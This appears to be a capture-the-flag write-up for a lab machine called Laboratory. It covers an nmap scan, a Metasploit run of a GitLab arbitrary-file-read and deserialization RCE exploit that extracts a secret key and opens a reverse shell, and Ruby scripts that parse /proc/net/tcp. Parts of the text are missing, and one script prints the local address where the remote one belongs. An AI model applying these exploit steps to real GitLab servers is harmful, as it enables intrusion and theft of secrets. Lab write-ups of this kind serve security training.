# Nmap 7.91 scan initiated Sat Feb 27 21:11:02 2021 as: nmap -sSVC -p- -v -oA nmap_scan 10.10.10.216 Nmap scan report for 10.10.10.216 Host is up (0.031s latency). Not shown: 65532 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA) | 256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA) |_ 256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519) 80/tcp open http Apache httpd 2.4.41 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Did not follow redirect to https://laboratory.htb/ 443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu)) | http-methods: |_ Supported Methods: HEAD GET POST OPTIONS |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: The Laboratory | ssl-cert: Subject: commonName=laboratory.htb | Subject Alternative Name: DNS:git.laboratory.htb | Issuer: commonName=laboratory.htb | Public Key type: rsa | Public Key bits: 4096 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2020-07-05T10:39:28 | Not valid after: 2024-03-03T10:39:28 | MD5: 2873 91a5 5022 f323 4b95 df98 b61a eb6c |_SHA-1: 0875 3a7e eef6 8f50 0349 510d 9fbf abc3 c70a a1ca | tls-alpn: |_ http/1.1 Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Feb 27 21:13:08 2021 -- 1 IP address (1 host up) scanned in 125.70 seconds
Nothing to enumerate and it's a static HTML SPA.
But looking at the SSL certificate we can see another sub-domaine:
Subject Alternative Name: DNS:git.laboratory.htb.
But we could have discovered it with brute-force too:
Module side effects: ioc-in-logs artifacts-on-disk
Module stability: crash-safe
Module reliability: repeatable-session
Available targets: Id Name -- ---- 0 Automatic
Check supported: Yes
Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- DEPTH 15 yes Define the max traversal depth PASSWORD password no The password for the specified username Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 10.10.10.216 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 443 yes The target port (TCP) SECRETS_PATH /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml yes The path to the secrets.yml file SECRET_KEY_BASE no The known secret_key_base from the secrets.yml - this skips the arbitrary file read if present SSL true no Negotiate SSL/TLS for outgoing connections TARGETURI /users/sign_in yes The path to the vulnerable application USERNAME noraj no The username to authenticate as VHOST git.laboratory.htb no HTTP server virtual host
Payload information:
Description: This module provides remote code execution against GitLab Community Edition (CE) and Enterprise Edition (EE). It combines an arbitrary file read to extract the Rails "secret_key_base", and gains remote code execution with a deserialization vulnerability of a signed 'experimentation_subject_id' cookie that GitLab uses internally for A/B testing. Note that the arbitrary file read exists in GitLab EE/CE 8.5 and later, and was fixed in 12.9.1, 12.8.8, and 12.7.8. However, the RCE only affects versions 12.4.0 and above when the vulnerable `experimentation_subject_id` cookie was introduced. Tested on GitLab 12.8.1 and 12.4.0.
msf6 exploit(multi/http/gitlab_file_read_rce) > run
[*] Started reverse TCP handler on 10.10.14.135:4444 [*] Executing automatic check (disable AutoCheck to override) [+] The target appears to be vulnerable. GitLab 12.8.1 is a vulnerable version. [*] Logged in to user noraj [*] Created project /noraj/id1reBf3 [*] Created project /noraj/AOeg8gkK [*] Created issue /noraj/id1reBf3/issues/1 [*] Executing arbitrary file load [+] File saved as: '/home/noraj/.msf4/loot/20210227221445_default_10.10.10.216_gitlab.secrets_687213.txt' [+] Extracted secret_key_base 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3 [*] NOTE: Setting the SECRET_KEY_BASE option with the above value will skip this arbitrary file read [*] Attempting to delete project /noraj/id1reBf3 [*] Deleted project /noraj/id1reBf3 [*] Attempting to delete project /noraj/AOeg8gkK [*] Deleted project /noraj/AOeg8gkK [*] Command shell session 1 opened (10.10.14.135:4444 -> 10.10.10.216:33956) at 2021-02-27 22:14:47 +0100
id uid=998(git) gid=998(git) groups=998(git)
Elevation of Privilege (EoP): from git (container) to dexter (host)#
We can see in /etc/passwd there is no human user on the machine
(uid > 1000 in general) but only service accounts (default + gitlab), so we
should target root directly.
Which OS are we on?
1 2 3
git@git:~/gitlab-rails/working$ head -2 /etc/os-release NAME="Ubuntu" VERSION="16.04.6 LTS (Xenial Xerus)"
Then let's write a short ruby script to decode them:
1 2 3 4 5 6 7 8
require'ctf_party'
File.foreach('local_address.txt') do |line| ip, port = line.split(':') ip = ip.scan(/.{2}/).map(&:hex2dec).reverse.join('.') port = port.hex2dec puts "#{ip}:#{port}" end
While we are at it let's create a script that directly parse /proc/net/tcp,
also read remote addresses, convert inode to pid will be more difficult so we'll
skip it and won't get the process name and get the owner names is not that hard.
Gitlab is coded in ruby so there must be a ruby binary on the server:
1 2
git@git:~/gitlab-rails/working$ which ruby /opt/gitlab/embedded/bin/ruby
Here is mini-netstat.rb:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
require'etc'
defdecode_addr(addr) ip, port = addr.split(':') ip = ip.scan(/.{2}/).map{|x|x.hex.to_s}.reverse.join('.') port = port.hex.to_s "#{ip}:#{port}" end
File.readlines('/proc/net/tcp').each_with_index do |line, i| entry = line.split(' ') unless i == 0# skip headers laddr = decode_addr(entry[1]) raddr = decode_addr(entry[2]) uname = Etc.getpwuid(entry[7].to_i).name puts "#{laddr} <--> #{laddr} -- #{uname}" end end